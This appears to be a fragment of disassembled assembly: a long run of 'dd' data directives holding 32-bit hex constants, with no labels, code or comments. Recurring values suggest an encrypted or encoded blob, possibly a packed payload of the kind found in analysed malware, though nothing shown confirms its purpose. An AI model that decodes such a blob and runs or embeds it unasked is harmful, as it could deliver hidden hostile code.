		dd 66112C94h, 7E0B3D15h, 8F443215h, 66223206h, 0FC378CEAh
		dd 46E961D8h, 41D56DDCh, 707FC2D9h, 0EDAC2430h,	74A82F90h
		dd 67C53D13h, 9F223215h, 99AB60E9h, 4F77CDEAh, 0ED4B68C2h
		dd 66223219h, 89905475h, 0E7EE1863h, 79392D6h, 0F7FEB72Eh
		dd 0E31E340Ch, 6688323Bh, 9BC1B9E0h, 8F242036h,	66113201h
		dd 199B5837h, 650F2EF9h, 6C30351h, 0EEDDED65h, 69D8AEB7h
		dd 99BB8A45h, 0A10BCDEAh, 0ECE4524Dh, 0E3B353E0h, 605DA3F5h
		dd 6617B71Ah, 69713215h, 6688309Ah, 7255215h, 623BB79Eh
		dd 69E93407h, 6688359Ch, 67CF3D15h, 9E223215h, 66108F40h
		dd 89893215h, 6ECA3D48h, 69223215h, 6611309Fh, 5DE95215h
		dd 7FD5D690h, 2DA73D13h, 69113215h, 6688339Fh, 0E3CFCE15h
		dd 6030359Ch, 661139FCh, 0A9126A15h, 0F2B17EF9h, 47566A25h
		dd 1DD58F40h, 93093B18h, 90B6B62Eh, 67FDD3Ch, 4E4B8873h
		dd 668826FCh, 428D3515h, 9501AE96h, 28B360ACh, 5A409753h
		dd 0CBEB8E0Eh, 0E319531Fh, 6008A3FDh, 66A8B71Ah, 9FBD3215h
		dd 668FB79Eh, 30ED3407h, 83AB76ABh, 0DB82B345h,	678D28C9h
		dd 0E6716CE2h, 0D987F1F9h, 0E37F53EAh, 603BA3F9h, 6621B71Ah
		dd 75613215h, 5443215h,	0B4E964E7h, 0B155ACFh, 8FDE12FDh
		dd 0FA9BB2BFh, 0E3A9BEEAh, 60031F50h, 263062E9h, 9124E40Eh
		dd 82E31FCDh, 0A138AD3Ch, 0E3B3C74Dh, 605DA3E5h, 6651B71Ah
		dd 0E41E3215h, 66883219h, 6642B01Ah, 0E52D3215h, 66113215h
		dd 4CD5B79Eh, 0E04B3407h, 6622320Ch, 661126FCh,	0F8833215h
		dd 224256FBh, 675F9B9Fh, 585C4C18h, 294A3A00h, 579B0363h
		dd 25FD03EEh, 8F71ED92h, 66883206h, 0C1B4247Bh,	3B534247h
		dd 0D947BC38h, 9FDBB77Bh, 715931Eh, 6631B41Ah, 68F83215h
		dd 0CF883215h, 8CE80C27h, 0A88617D9h, 2B93C552h, 920D090Fh
		dd 69422B84h, 66225190h, 76F95215h, 0B0883215h,	39452DF4h
		dd 0E6EA8B4Ch, 18D41258h, 35DBA4A0h, 0E04B6A4Dh, 66223214h
		dd 0E39A53ECh, 609A0000h, 80C55475h, 6DCA52EAh,	12113215h
		dd 0E301EC72h, 216EDDE1h, 6ECBC2C6h, 0BF113215h, 2B6FA042h
		dd 3867CC38h, 67986074h, 67113215h, 0E08768C2h,	6644321Dh
		dd 6620B61Ah, 7713215h,	0F770B72Eh, 0E34B340Ch,	66223257h
		dd 0A794B9EDh, 698E203Ah, 66442995h, 75CA5215h,	2C113215h
		dd 5302BAD1h, 6C04D2BDh, 6953603Bh, 0A1FD382h, 7D369A6h
		dd 66458A45h, 0A1233215h, 6D903D4Dh, 8F883215h,	66443213h
		dd 0C0093E06h, 0E32A3B86h, 609A1B84h, 660BB71Ah, 69423215h
		dd 66113395h, 0D8EECB15h, 0ED25D2A0h, 742EA390h, 0EF1E5213h
		dd 66883215h, 0DE1453E0h, 18DE43EAh, 6505FD10h,	4350C551h
		dd 69DB3DBCh, 5326D2D4h, 0B611A014h, 8FD0F514h,	66443204h
		dd 0C9AAFDE3h, 0D1B9708Ch, 85CD63E1h, 0C52AAE4h, 9AA7095Ah
		dd 69172B84h, 66882C90h, 0E3CFCE15h, 60300164h,	99AC67E9h
		dd 4F77CDEAh, 6EAD6FFAh, 0B1223215h, 5229070Fh,	5D82E63Bh
		dd 7FD60A90h, 1DA73D13h, 6113215h, 90A2DB94h, 1FD0482h
		dd 72A8BF3h, 0CB978A75h, 0E5E96B55h, 7FD672A8h,	0E32D3213h
		dd 66113235h, 6684B71Ah, 0E34B3215h, 66223213h,	6611BE1Ah
		dd 0DB0B3215h, 605626B8h, 5DA63D15h, 9A113215h,	7415B79Eh
		dd 75AD3407h, 58223215h, 0C879C6A5h, 0C7DCEF22h, 0E1701D51h
		dd 85A6CC7h, 0DD42D33Dh, 30F01AFDh, 76D1C194h, 0ADA33DFBh
		dd 450D186Ah, 5C08D994h, 0B96D498Bh, 0E319CE4Eh, 6008A029h
		dd 66ECB71Ah, 0EA4B3215h, 66223219h, 6617BF1Ah,	0EB873215h
		dd 66443215h, 0F4628F96h, 6911340Ch, 66882F90h,	664EDB15h
		dd 5B373215h, 0FC548C29h, 0D445A1BFh, 72E98F96h, 69223407h
		dd 66111B91h, 0E303CE15h, 60562A98h, 662238FCh,	0DA57D515h
		dd 86E753BDh, 376E9694h, 662233ACh, 3FDE3315h, 4C6DB275h
		dd 0AFB2B373h, 0E319530Fh, 6008A015h, 66C2B71Ah, 0D7243215h
		dd 6624DA4Ah, 0DDE53215h, 0BFA3B7A3h, 6644B51Ah, 7793215h
		dd 7E10B79Eh, 0E2873407h, 66443204h, 6629B51Ah,	60F83215h
		dd 90883215h, 0DAB81B6Fh, 679C64ABh, 67113215h,	0E9876CE2h
		dd 6644321Dh, 6620B11Ah, 7713215h, 0F48CB72Eh, 0E34B340Ch
		dd 66223232h, 2794B9E9h, 698E200Bh, 66443396h, 0DD71C715h
		dd 66113214h, 8FD3ED14h, 6644321Eh, 7B6883D9h, 0C1DBB74Ah
		dd 5DC6D6F9h, 7FD63A90h, 24A73D13h, 8F113215h, 66883207h
		dd 0F733A1C1h, 2677851Ah, 0E40A083Ch, 483C151Ch, 0E3CF0A41h
		dd 60300074h, 661EBB1Ah, 6C613215h, 0E9443215h,	0EE7BEE1Dh
		dd 9751FF1Ch, 9931636Ah, 4FBBCDEAh, 0EF2D6BDAh,	66113214h
		dd 6A0D09E9h, 69422B87h, 66227F90h, 0E51E5215h,	6688320Dh
		dd 664420FDh, 6CEBF715h, 3CA6EC78h, 75884539h, 0E7F994B8h
		dd 3CD50C8Ah, 7E08D1Ah,	69BDB79Eh, 69243407h, 3443EBAAh
		dd 661133AFh, 3C5F3315h, 0E0C58B75h, 6CCB5B0Ch,	4C113215h
		dd 45AF7C50h, 0F7F63ED9h, 0E31953E9h, 6008A005h, 66BBB71Ah
		dd 0EDB83215h, 7438F390h, 0DB44CB13h, 1E222DC4h, 148DFF94h
		dd 93A3097Ch, 55E20C09h, 8B49EFE2h, 0D9A9B31Dh,	4F2285F2h
		dd 0E7716FFAh, 91B949E3h, 0BAA6B200h, 72A70974h, 69172B87h
		dd 66887C90h, 0E3CFCB15h, 603010ECh, 27CAB375h,	0E7FB30CAh
		dd 40255FCBh, 0EA2D534Ch, 6611321Bh, 66883BFCh,	804EBA15h
		dd 33CC03EEh, 0DE4149B4h
		dd 9977CDEAh, 691CF53Ch, 66223591h, 67933D15h, 93883215h
		dd 664438FCh, 5A798715h, 307F4CA9h, 6D07F64Ah, 51C03DEAh
		dd 6223215h, 6617BA1Ah,	0E1873215h, 66443215h, 662239FCh
		dd 9BA82615h, 0F42D22B6h, 575273C8h, 8B47DB74h,	69F8CDEAh
		dd 2E883215h, 1EA0845Dh, 0F1879D91h, 9B83B762h,	0E3B33D5Bh
		dd 60561824h, 6601B71Ah, 0ED713215h, 0EB7453CFh, 7F633990h
		dd 0D12D5213h, 6619DBC4h, 6D893215h, 9BB61A9Ch,	8F433BFBh
		dd 99EEDF36h, 230D09E0h, 69422025h, 66226C90h, 0D11E5215h
		dd 71083DD6h, 8F443215h, 66223207h, 4BAF6661h, 70036BA4h
		dd 9555879Eh, 0A5ACC2D2h, 9A70EC32h, 0F7E88F96h, 6945340Ch
		dd 66221C90h, 661ADB15h, 0E6B73215h, 3653BD4Fh,	4430A3E5h
		dd 194BFEAh, 8F886B1Eh,	66443212h, 4F846322h, 8FF0E045h
		dd 9977DEAAh, 426C8975h, 5D431FDDh, 7F804290h, 470C3D13h
		dd 8F443215h, 6622321Ch, 6226BD6Fh, 0F286D47h, 12C10967h
		dd 69242B84h, 66112D90h, 670D3D15h, 9F443215h, 99CEB4FCh
		dd 0DD7752EAh, 6E61B90Eh, 6A443215h, 6FB1943Eh,	71155C3h
		dd 79F35A45h, 0A71C5FEDh, 0DD7134F5h, 6C93125Dh, 91D3EA14h
		dd 66B31FC5h, 0A0AB4563h, 6618DB4Dh, 4E613215h,	0BF519BC7h
		dd 93F1A5B4h, 6910CC96h, 6688F690h, 74CC3D15h, 8F223215h
		dd 66113218h, 0B63828EDh, 0AA2AE6B7h, 0EBFAD47Ch, 2940915h
		dd 698E2B84h, 66440F90h, 72CB5215h, 74113215h, 77502805h
		dd 8F59360Dh, 70FC98F2h, 0FEE72D75h, 9FD9CA30h,	0A2C1BF74h
		dd 6226A92h, 34C0B973h,	0D960B373h, 8F25692Bh, 99DDD9F2h
		dd 71A08975h, 3C3A0C45h, 0E37FCE74h, 603BA37Dh,	663EB71Ah
		dd 61613215h, 0E443215h, 7A558A99h, 0E39C4CF1h,	66D0BA2Fh
		dd 664439FCh, 0C89E3E15h, 5EAEE2F6h, 0E46BB2EBh, 8DEDDBE9h
		dd 0E82DCDEAh, 66113214h, 0A0D09E9h, 69422B84h,	66222E90h
		dd 0E39CCB15h, 66D0BA6Ah, 6645BD1Ah, 9ADA3215h,	99FAB0FCh
		dd 7D52EAh, 50C6F994h, 0A1AB6574h, 64E6A42h, 0F5038973h
		dd 0EB4B53EDh, 66223202h, 8FE2B975h, 6688321Bh,	64ECB50Fh
		dd 5F22AF6Fh, 0AE70D9F5h, 0D8E97DCDh, 3AB94853h, 3F768847h
		dd 8C904FA4h, 6FA5D82Ch, 0E71EE41Ch, 0A4BC5FBh,	80907C5Bh
		dd 7BBB300Dh, 65B2B353h, 62E2115h, 66113DFCh, 29252015h
		dd 8B934E9Eh, 0BC1FA10Fh, 2B0C725Ch, 6DE955A1h,	6DC13DE3h
		dd 6223215h, 7EAB973h, 9962FAFCh, 22CCAEAh, 0EF22322Fh
		dd 694F1611h, 66882294h, 664FDB15h, 0F2BF3215h,	44E8FA4Dh
		dd 0B3D04581h, 6650DB29h, 374F3215h, 0AAD9E769h, 34C0B696h
		dd 0CEEF82CEh, 16A0F213h, 0D398CED4h, 609A2F48h, 664EB61Ah
		dd 63CB3215h, 0E3113215h, 0D220AB20h, 54B1879Ch, 6423407h
		dd 61E395h, 72E82AEh, 58C453E9h, 6FA73DFCh, 69113214h
		dd 6688289Ch, 74AC5215h, 0D7223215h, 0DD7478BCh, 112578F4h
		dd 0E506706Eh, 5FD9F77h, 9A706D08h, 368944EAh, 0A6471BADh
		dd 42661B2Dh, 0E74E6A11h, 0A68B1BD2h, 60CB3D2Dh, 6223215h
		dd 9A06FC95h, 0B67B374h, 0E71C8F60h, 964EDDD2h,	0E7E6336Dh
		dd 96E4DDFAh, 0B83B36Dh, 8F7A8F60h, 6611321Dh, 2DB80FD4h
		dd 0CE851642h, 97996143h, 57585076h, 3D8C1649h,	97B7B34Eh
		dd 66B5076h, 661135FCh,	65668515h, 0AECC70ACh, 7F18D1Ah
		dd 62FDB3EDh, 0EF883215h, 54FA1621h, 0E70AB11Dh, 0E4D900FBh
		dd 387B333Dh, 6AD8675h,	6622BA1Ah, 0D8773215h, 7E9BEDEh
		dd 7B198F2Eh, 0E42D3407h, 6611323Dh, 668826FCh,	0EEEC1F15h
		dd 0F447799Bh, 0F6B05A88h, 8299DE77h, 604C3B08h, 69D90935h
		dd 66111593h, 67073D15h, 9F443215h, 99CB42FCh, 6614DBEAh
		dd 80BC3215h, 69AA48E8h, 66223992h, 0DC775215h,	0E7EE6E69h
		dd 74416F7h, 4B1F8F9Eh,	0A1E93407h, 74AE8390h, 66443213h
		dd 95A35215h, 45507EE5h, 6E9E19Eh, 66443BFCh, 0F81D9615h
		dd 508AC2EFh, 0D301AC83h, 605600E0h, 0B9BFBFE9h, 9E172800h
		dd 66883BFCh, 0D8E30E15h, 851BA70Bh, 0B5EE1F50h, 6689B51Ah
		dd 6DB83215h, 44A63DD5h, 6113215h, 2D63B373h, 0ACCF5466h
		dd 667EDB74h, 68F83215h, 9F883215h, 3675D734h, 552DDF9Fh
		dd 0C4E540ABh, 0BF15BFC5h, 8F422599h, 66223212h, 4A8491E5h
		dd 9982972Dh, 0F1C73DC6h, 6DDCDEAh, 6970BBA7h, 6688339Fh
		dd 0D3CFCB15h, 603000E0h, 0D7A4BBE0h, 68E2033h,	0E2AE11ADh
		dd 0EB43C772h, 7E8DAD88h, 0B6035213h, 9925E39Eh, 0E3A9CBC6h
		dd 60032F48h, 66883EFCh, 0CD653515h, 0D154E7Eh,	4C29299Dh
		dd 930DBBEFh, 6422027h,	8E668675h, 66113204h, 21E1ADF7h
		dd 0DAEDD97Dh, 0AF7BAC0h, 0E44B2775h, 7E96907h,	75AC5274h
		dd 0B4223215h, 0B336124Ah, 0A5C85DD4h, 504F4AE4h, 28388413h
		dd 38EDE6FBh, 7BCEF95h,	69AC0C95h, 66228990h, 0E7775215h
		dd 8F5B7CF7h, 66443213h, 0E2D9193Ah, 9E70D415h,	4B398F96h
		dd 69443407h, 6622A991h, 6605DB15h, 249B3215h, 0CBEF017Fh
		dd 0AFACE49Bh, 71C9B2D8h, 29C8B9F6h, 6249811h, 9BACDA94h
		dd 38414A98h, 0D5DB5374h, 0ED9CBAFCh, 0A2A31609h, 66113211h
		dd 8FA08675h, 66443207h, 21244BB2h, 125E826Ah, 0EA20338Bh
		dd 2A42AE6Dh, 0CC4343E2h, 6610B01Ah, 9E7D3215h,	30B1BB40h
		dd 96ABDC9Ch, 4BE96F4Bh, 111C1C1Dh, 0F2453538h,	63DA1B12h
		dd 61853312h, 0F2A63A10h, 3115C762h, 662236AAh,	39E8BB15h
		dd 69D1FA3Ch, 66443399h, 9A89CB15h, 66134DFCh, 670D3D15h
		dd 9A443215h, 9D8CAF98h, 6BF8340Ch, 0C3883215h,	0F3D4388Fh
		dd 0D10B450Eh, 0F09AEBAAh, 0EDE8E1EAh, 6654DACBh, 0C4733215h
		dd 8A0C6B5Eh, 266C0CAFh, 337684FBh, 0D92D7388h,	8F706CEFh
		dd 66883212h, 855EAFB1h, 0EBAD6209h, 7C019A88h,	0B577CA13h
		dd 664426FCh, 0BD065315h, 4205D187h, 0A2AF2B39h, 27E74E82h
		dd 4455BC09h, 69D13927h, 66881490h, 664BDB15h, 0CC1B3215h
		dd 0F69DF2A5h, 0A6D69872h, 0C745FB7Fh, 661ADB7Ah, 0E7713215h
		dd 9BFA54DAh, 0E8718B5Fh, 0E543131Dh, 7423C790h, 0E1873713h
		dd 66443214h, 98B4DBE9h, 0DC71CDEAh, 5F90512h, 664437FDh
		dd 0C6E69015h, 0B79080F1h, 534A5811h, 0FBC9534Bh, 603820DEh
		dd 6600DBE0h, 0D21F3215h, 94A4184Bh, 0C82B830h,	0A2F17E3Ch
		dd 9993CE7Bh, 0A64FCBC6h, 662CB71Ah, 8FE43215h,	66883270h
		dd 9ECF5475h, 7E5E995h,	62A86343h, 0EF883215h, 94456BDBh
		dd 662EDB4Bh, 4DAD3215h, 0B2D7D423h, 44158960h,	7CB56A9h
		dd 6113214h, 668821FCh,	35D28715h, 958A1C95h, 1F837BB9h
		dd 64CD0EEh, 0AAA436E8h, 0EA2D53E0h, 6611320Ch,	0C558B375h
		dd 8F5827A7h, 66223219h, 0D5973DEFh, 30716640h,	284B00D5h
		dd 0BFBFBF74h, 9A172599h, 0E587E1EAh, 66443229h, 6625B81Ah
		dd 0E21E3215h, 66883214h, 93F1B9E0h, 6242027h, 6615B21Ah
		dd 0DDEE3215h, 94C5BCFBh, 5B312A9Ah, 4802DB74h,	0EB873215h
		dd 66443219h, 662235FCh, 1B64FC15h, 0A5989E0h, 54B1BF9Eh
		dd 61CB3407h, 0DD113215h, 0F53D0F71h, 0D3CD6253h, 603000E0h
		dd 8C905475h, 0B408EF1Ah, 0DC165353h, 445E2028h, 3C51D094h
		dd 84493D28h, 398EB312h, 247EE642h, 1B11F894h, 0A40943BDh
		dd 8945B094h, 4F78E33Ch, 87D0B3E4h, 6E6CD14h, 0A1AAD494h
		dd 0EF2D18EBh, 66113213h
		dd 6688B71Ah, 0E253215h, 6622769Eh, 91353E9Ch, 8FD11609h
		dd 66443207h, 194E489Eh, 638A071Ah, 7C3836D8h, 8524D86Dh
		dd 0DE7247B7h, 35744D78h, 0F1AB8638h, 442C1F0Dh, 400F420Ah
		dd 6B3E3300h, 18136301h, 8C9E6810h, 3EE4332Dh, 8890FC3Ch
		dd 5E227D8Ch, 6643BD1Ah, 0E22D3215h, 66113214h,	8F2CC1ECh
		dd 6644321Dh, 0B40F1CEh, 0F864FBD3h, 9974FDFCh,	6642DBEAh
		dd 8E793215h, 7976D99Bh, 0F828AF98h, 99B8340Dh,	0B3A852C6h
		dd 3770CC9Eh, 0AE01CB9Ch, 0E5603E9Eh, 0E72D36D1h, 66113201h
		dd 66883DFCh, 69956E15h, 84B588E2h, 0CBB1B1DDh,	8D4387F0h
		dd 4B79B73Eh, 9ADA3407h, 7C00B79Ch, 6B613407h, 0E3443215h
		dd 868D6B48h, 0D1A97ED4h, 3785E011h, 4B79B79Eh,	0E7423407h
		dd 191330CAh, 0A6E05315h, 0EF443231h, 31D71629h, 0A190D59Ch
		dd 66883211h, 0E140DD96h, 0EF7E1629h, 6AF81611h, 0F7883215h
		dd 0BC04A27Ah, 857980EBh, 0EB9A78BAh, 7E28C098h, 2DF05213h
		dd 662221FDh, 42B1415h,	399F866Bh, 3B8CFE8Ah, 0F1ECC6ABh
		dd 0C88447C3h, 9CA24FABh, 99256C32h, 6631DBC4h,	56B63215h
		dd 48B696C0h, 0C71FDA6Bh, 0A6D3A994h, 2AF8D212h, 70DB935h
		dd 8F42203Dh, 6622321Ch, 5CD4E63Ah, 0E253F41Ah,	84CD6075h
		dd 6626F094h, 8C903215h, 66883211h, 3A602692h, 9E06369Ch
		dd 0E7F2BB46h, 668836D6h, 62AFB315h, 0E1223215h, 0EF4D1609h
		dd 0ED701629h, 74690F90h, 0B9A95213h, 2E8D5A74h, 62013215h
		dd 664DDB31h, 4EE93215h, 49B2F041h, 0EBFDAEC8h,	7EE5D198h
		dd 0B7DDCE13h, 661138FCh, 67E2515h, 0F9EC482Ah,	6353E8Ah
		dd 6615B11Ah, 0DDEE3215h, 7BDC8FBh, 0EF796246h,	6DF869CFh
		dd 40883215h, 9621E307h, 8B9E93C9h, 0E7ED2334h,	668836F9h
		dd 4240BB15h, 0DC44524Ch, 36714FF4h, 7E9524Dh, 7C91974h
		dd 6924203Dh, 66112B9Fh, 0EDEE5215h, 664ADAE5h,	64583215h
		dd 0BBC2F031h, 74A2320Dh, 831C15F8h, 0DBA1534Eh, 60033D5Ch
		dd 1B0C3D15h, 6443215h,	0D28D1Ah, 77030ADh, 61DDB79Eh
		dd 0EF4B3407h, 66223214h, 2F9419ECh, 938E201Ah,	0E04BF32Eh
		dd 6622324Dh, 90905475h, 86084C08h, 0E3CF53C9h,	60301330h
		dd 2F9431E0h, 698E201Ah, 66443399h, 0E3ABC715h,	600325B0h
		dd 668826FCh, 95410B15h, 0B8D7EC6Eh, 0A830D2DAh, 0C315E36Fh
		dd 5DEF2388h, 674EDBDBh, 0EF1E3215h, 66883205h,	664439FCh
		dd 0DA089015h, 257772B9h, 8EE875Bh, 6609007Dh, 422EBB15h
		dd 629C3D75h, 883215h, 8E1C76AEh, 6622321Eh, 762F7CFFh
		dd 0A9EF69E3h, 69F86566h, 6622329Bh, 31706A15h,	428CB344h
		dd 5F971B74h, 7CDB34Ah,	0EF28E13Ch, 6F616DEDh, 9D443215h
		dd 0DA654FAAh, 8D9C374Eh, 6767B182h, 6657DB82h,	0CAE73215h
		dd 81C23E0Eh, 9B42A9F1h, 28372A63h, 244ADAF0h, 0ABA863B4h
		dd 91E16D0Eh, 8FC573C4h, 182092FCh, 8790E3E2h, 13087251h
		dd 0E74CD3D4h, 6629CDD4h, 3FD93B15h, 6689BD1Ah,	34B13215h
		dd 662233AFh, 3CC13315h, 0D987C775h, 0E3CD53EBh, 60303540h
		dd 661139FCh, 172B1E15h, 571DD57Bh, 0A74E56E9h,	4BE4B714h
		dd 6D613407h, 33443215h, 4C2BDDFCh, 0DC471144h,	0E34F50F5h
		dd 60563D5Ch, 66223215h, 6610BB1Ah, 0C7D3215h, 662CC755h
		dd 9E223205h, 6655BD7Dh, 4284BB15h, 81A3B375h, 33044Fh
		dd 7F2EAABh, 9974327Fh,	7444AB80h, 6AA43D13h, 69113215h
		dd 6688349Bh, 66C53D15h, 99223215h, 743EDB80h, 6682DB13h
		dd 53483215h, 477E888Fh, 3E9B7F67h, 47ADB79Ch, 0EFBC3407h
		dd 74359790h, 52EECB13h, 0A2096B31h, 66443211h,	662EBA1Ah
		dd 0EC1E3215h, 66883213h, 6644B21Ah, 0D3DD3215h, 600325B0h
		dd 8F4A8175h, 6644321Ch, 7C7F3E58h, 0E04B6336h,	0E5875305h
		dd 6644320Eh, 6637B81Ah, 76F83215h, 5D883215h, 0F8E007CBh
		dd 0E0924h, 6A2C1722h, 99295538h, 746C53A0h, 67AA3D13h
		dd 9F113215h, 6368BB45h, 66443211h, 0E126DA96h,	0EF4D1611h
		dd 75611629h, 0CC443215h, 1AB0B8EAh, 5DFE59F9h,	0D312CCE7h
		dd 0F3B8E29Fh, 0D3DD1EBAh, 60031F28h, 668839FCh, 0E2C2E415h
		dd 95B5F3B8h, 5ECCB98h,	0DD46B798h, 9ABC340Dh, 0E02DE2EAh
		dd 66113212h, 0D76375h,	8F25E89Eh, 66223205h, 36C810C9h
		dd 759466B7h, 0A7D4641Ch, 0DE233C09h, 6958BF14h, 0EA873407h
		dd 6644321Dh, 419B5475h, 7705227h, 712D8F9Eh, 6DAD3407h
		dd 24223215h, 628ADCCAh, 6F6855E3h, 0E44B41C0h,	66223214h
		dd 7A4B9EDh, 8F8E203Dh,	6644321Bh, 5BDF0905h, 0EFBE8A81h
		dd 0B88C7131h, 0C2B7269Dh, 0A6A35475h, 0ED703117h, 74BB7BA0h
		dd 6642DB13h, 30AB3215h, 7CA62C05h, 6687DBB8h, 23D43215h
		dd 4357D429h, 75F429E6h, 0D9EF7935h, 0DB11621Ch, 66223215h
		dd 0EF4CDA9Ch, 6D0CE53h, 664434FCh, 1AF7B15h, 0E6BCCA54h
		dd 0A7E931E7h, 6B837D5h, 6628DBEDh, 0E8393215h,	900E9A3Eh
		dd 8BA9E214h, 0C09F6774h, 91252679h, 283062C0h,	677D341Bh
		dd 0A3A36AD0h, 543467C3h, 0DA0CC794h, 8E4559E4h, 7FA73D48h
		dd 8F113215h, 66883201h, 0F16DA592h, 4417169Eh,	0F93D906Dh
		dd 951CFC26h, 9DBB534Dh, 662FDB75h, 80CA3215h, 9DC2CD7Fh
		dd 0E0D7C750h, 8EA48B6Ah, 66113219h, 0F007C1CCh, 3FC26760h
		dd 0A5C6FD97h, 748E19Eh, 42E9B716h, 69B83407h, 66222194h
		dd 1CA65215h, 668838FCh, 2D9C3615h, 0CAFE3FAAh,	7D26775h
		dd 712DBF9Eh, 243407h, 7147C494h, 7CBB973h, 66888847h
		dd 0A4453215h, 72A9389Ch, 62D5B131h, 8E50B975h,	6644321Dh
		dd 24E1C95Dh, 0C43106AFh, 7D6FD9Fh, 0DC16CEB8h,	99DDCDE9h
		dd 2E3D894h, 94896001h,	2B6F094h, 64E56001h, 66113215h
		dd 0D301CE4Fh, 6056015Ch, 662238FCh, 57B3F515h,	54F02002h
		dd 0E5B761C2h, 0E32DCDEDh, 66113297h, 6C38375h,	664BDBEDh
		dd 1593215h, 977ADCBAh,	6BD08D25h, 9266ABDAh, 0E7435387h
		dd 0BBCCEF2Bh, 3D0D3DC8h, 8F443215h, 66223213h,	6379239Dh
		dd 0DED823A9h, 9C3E76h,	1B258946h, 0BE102858h, 8649724Eh
		dd 0D3C41F12h, 60ABA0D1h, 0E41EC74Dh, 66883214h, 62FB65E0h
		dd 67223215h, 422DB9EBh, 9A8CF696h, 550D879Ch, 0E82D3407h
		dd 66113214h, 0B502DBE9h, 0EC4BCDEAh, 66223213h, 0ED705275h
		dd 0A64953D3h, 664EDB16h, 189F3215h, 18D5C268h,	0D7C4BAB3h
		dd 4225B716h, 68CB3407h, 0A2113215h, 0DEDD0D54h, 0B80D6213h
		dd 0AC9ABBEEh, 7FACB169h, 678E203Dh, 65D2B61Ah,	0E7DE3215h
		dd 0CCBB982Bh, 0EC0D3DBFh, 69443215h, 66222798h, 6601DB15h
		dd 56D3215h, 50C2DA36h,	775E1F5Eh, 0A1F13741h, 36DB5B82h
		dd 172965ADh, 0B71070Ah, 0A5982D64h, 3D56334Dh,	664435FCh
		dd 0B4D03515h, 1CE802CEh, 39AF8B44h, 87855BC9h,	6E3B317h
		dd 6749BC96h, 6689F5E4h, 3F443215h, 662235FCh, 46F86E15h
		dd 0FF48F154h, 0A175CA24h, 9ED7CA24h, 6EA06346h, 0E6D1FD9Dh
		dd 0A1C47DD2h, 3DDABA87h, 661138FCh, 0E8661A15h, 685AFBC4h
		dd 8F900A46h, 6611322Ah, 577003E9h, 8FBC03D2h, 66223212h
		dd 364F8899h, 37926724h, 0B3B2D5A0h, 0E621DFD5h, 0A3EFD3D8h
		dd 0D64DC795h, 3FAC32D2h, 662CDB75h, 0A64A3215h, 521F9ED4h
		dd 2025F39Ah, 5D8F7413h, 0E70A6A3h, 66885844h, 8F60369Ch
		dd 66223204h, 4277E98Dh
		dd 0A6F4F4B3h, 0F14F65CDh, 50584798h, 0CBACB102h, 678E2001h
		dd 67E8B61Ah, 8E423215h, 6611321Fh, 0E740C224h,	9CC266E9h
		dd 0E744731Dh, 38D339FFh, 1D9805ACh, 0DC16536Fh, 5FED197Bh
		dd 45558847h, 0AC095BE9h, 2B3729DEh, 7743D894h,	0B6980625h
		dd 3C58034Fh, 9DA2B375h, 8E5B8697h, 66113204h, 0C39A605Ch
		dd 0B3E4009h, 0B26C921Bh, 737496FFh, 0A00954D8h, 71A4A1Dh
		dd 0F75E8F96h, 6911340Ch, 66881D91h, 0B7C55215h, 19F90151h
		dd 0CC8CBF74h, 8F8E2ADAh, 6644321Dh, 0D7F827F5h, 572046FDh
		dd 69E8E1EAh, 66443796h, 0B5A35415h, 0B6AAE055h, 7C22AEDh
		dd 69D40D95h, 66226F91h, 6D9F3D15h, 8F883215h, 66443213h
		dd 564622C9h, 0D171149Dh, 0D8DE532Ah, 66443210h, 52A9C514h
		dd 62D5B131h, 68053DE9h, 6443215h, 6624DBECh, 7D903215h
		dd 1977F796h, 67F2DB74h, 93423215h, 669E3D75h, 8E883215h
		dd 6644321Ah, 0F558B20Ah, 0A4274D88h, 613737A8h, 3DD0C01Ch
		dd 9EA15374h, 0C5933D45h, 6883215h, 8E8B851Ah, 66223206h
		dd 3B3A4BF7h, 0BC960FFAh, 0C43B9BF9h, 5E4096ECh, 0BB759Eh
		dd 3EDF36ADh, 0BF36174h, 5C906073h, 3C77E525h, 0EE4FDD95h
		dd 0E72469EDh, 623715DDh, 0F58C892Dh, 0CCE92079h, 62C33D75h
		dd 223215h, 8F1A05AEh, 6688321Dh, 3CE98D3Eh, 4114F8FFh
		dd 661EDB74h, 83183215h, 6D0E1D2Fh, 0CD630ACDh,	2DE7B25Eh
		dd 428CB978h, 0E7A5BB44h, 662236D4h, 62D0B115h,	3AAC3E92h
		dd 6FAD98EDh, 223215h, 472A664Ah, 0B6D73002h, 66449FFCh
		dd 61A83D15h, 69113215h, 6688339Eh, 52BBC715h, 0A2A16A31h
		dd 679E3D11h, 93883215h, 664FDBBFh, 3A163215h, 0C34AAE0Eh
		dd 233E49DEh, 993BB2D7h, 11A73DFCh, 69113215h, 66882490h
		dd 7245215h, 66223FFCh,	6DEA6215h, 0AF2E43DEh, 6F4B880h
		dd 0E543283Ch, 7F804EA8h, 0E2873213h, 66443237h, 0D0BFBFEDh
		dd 69172ADBh, 66883A9Fh, 64C43D15h, 6223215h, 6C2CD74h
		dd 0F1DEC394h, 91CF0CB5h, 0DF73CE74h, 66113211h, 0EEDBCB14h
		dd 3D7DBAD2h, 67A33D4Ch, 9A113215h, 6683DB75h, 57953215h
		dd 27170FF1h, 0BAD132Bh, 3D325465h, 0E3CF533Ah,	603025B0h
		dd 364C1FECh, 9EA111BCh, 63CB8847h, 2C603B86h, 686DF894h
		dd 8C092B6Dh, 90158DB7h, 6978E214h, 66113394h, 0DBDDCE15h
		dd 66443211h, 4AA9DA3Ch, 62D5B131h, 6F6199E0h, 7443215h
		dd 8B960E06h, 426DB89Ch, 72073DB8h, 6443215h, 662235FCh
		dd 29C02E15h, 874A809Ah, 6644BF1Ah, 0E433215h, 661155F7h
		dd 0EAC0E9Ch, 6E8F3A51h, 2ACDB34Ah, 0E754DB43h,	8739CAFAh
		dd 9A3ABBD7h, 35CBC74Ah, 6EECDEEh, 691CFF95h, 66443197h
		dd 1FF1B215h, 67963D74h, 9A883215h, 550D879Ch, 0ED73407h
		dd 66113F03h, 69AC269Ch, 66442499h, 6633DB15h, 0ADA23215h
		dd 0E035AF4Ch, 4DF1F7E4h, 1F12697Ch, 694E175Ch,	66882696h
		dd 664BDB15h, 0BF33215h, 23593F66h, 42960D31h, 0A520838Bh
		dd 0E6225A20h, 61F83215h, 0C8883215h, 7664E0FCh, 6648126Dh
		dd 661FBD1Ah, 0E7E83215h, 3B6747F4h, 66AC3D46h,	7113215h
		dd 7C8987EAh, 0E14B3407h, 6622321Dh, 6613BA1Ah,	7E83215h
		dd 5545A7EAh, 0E02D3407h, 66113214h, 429CB9ECh,	0E7A1BB40h
